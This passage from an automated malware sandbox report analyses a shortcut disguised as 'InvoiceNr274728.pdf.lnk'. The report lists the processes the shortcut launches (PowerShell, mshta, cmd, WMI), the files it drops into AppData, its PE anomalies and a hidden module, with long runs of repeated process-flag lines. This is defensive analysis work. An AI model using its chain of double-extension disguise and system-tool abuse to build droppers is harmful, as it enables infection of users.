[System.Security.Cryptography.Aes]::Crea			Jump to behavior

Source: jetpackhandler[1].5.dr

Static PE information: 0x9EF0B9FD [Thu Jul 2 03:39:41 2054 UTC]

Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe

Code function: 13_2_00406D5D LoadLibraryA,GetProcAddress,GetModuleHandleW,GetWindow,GetWindow,LoadIconW,GetWindow,

13_2_00406D5D

Source: JIKJCBEX.exe.7.dr	Static PE information: real checksum: 0x33302 should be: 0x1fb10a
Source: jetpackhandler[1].5.dr	Static PE information: real checksum: 0x1f27b should be: 0x7818d
Source: python27.dll.13.dr	Static PE information: real checksum: 0x29675c should be: 0x28d832
Source: python27.dll.14.dr	Static PE information: real checksum: 0x29675c should be: 0x28d832
Source: pyexec.exe.13.dr	Static PE information: real checksum: 0x7592 should be: 0x73ad
Source: ixxqhy.20.dr	Static PE information: real checksum: 0x0 should be: 0x503e3
Source: pyexec.exe.14.dr	Static PE information: real checksum: 0x7592 should be: 0x73ad

Source: jetpackhandler[1].5.dr	Static PE information: section name: .didat
Source: ixxqhy.20.dr	Static PE information: section name: rywqh

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FF8485A00BD pushad ; iretd	7_2_00007FF8485A00C1
Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe	Code function: 13_2_00411C20 push eax; ret	13_2_00411C4E
Source: C:\Users\user\AppData\Local\Temp\pyexec.exe	Code function: 14_2_00402F71 push ecx; ret	14_2_00402F84

Source: msvcr90.dll.13.dr	Static PE information: section name: .text entropy: 6.9217598022130655
Source: msvcr90.dll.14.dr	Static PE information: section name: .text entropy: 6.9217598022130655

Persistence and Installation Behavior

Windows shortcut file (LNK) starts blacklisted processes

Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\mshta.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\SysWOW64\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\mshta.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\SysWOW64\cmd.exe

Creates processes via WMI

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecMethod - ROOT\CIMV2 : Win32_Process::Create

Source: C:\Windows\System32\mshta.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\jetpackhandler[1]	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe	File created: C:\Users\user\AppData\Local\Temp\python27.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\pyexec.exe	File created: C:\Users\user\AppData\Roaming\DebugCloud\python27.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\pyexec.exe	File created: C:\Users\user\AppData\Roaming\DebugCloud\msvcr90.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\pyexec.exe	File created: C:\Users\user\AppData\Roaming\DebugCloud\pyexec.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe	File created: C:\Users\user\AppData\Local\Temp\msvcr90.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\JIKJCBEX.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\ixxqhy	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe	File created: C:\Users\user\AppData\Local\Temp\pyexec.exe	Jump to dropped file

Source: C:\Windows\System32\mshta.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\jetpackhandler[1]			Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\ixxqhy			Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Found hidden mapped module (file has been removed from disk)

Source: C:\Windows\SysWOW64\cmd.exe

Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\IXXQHY

Uses an obfuscated file name to hide its real file extension (double extension)

Source: Possible double extension: pdf.lnk

Static PE information: InvoiceNr274728.pdf.lnk

Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
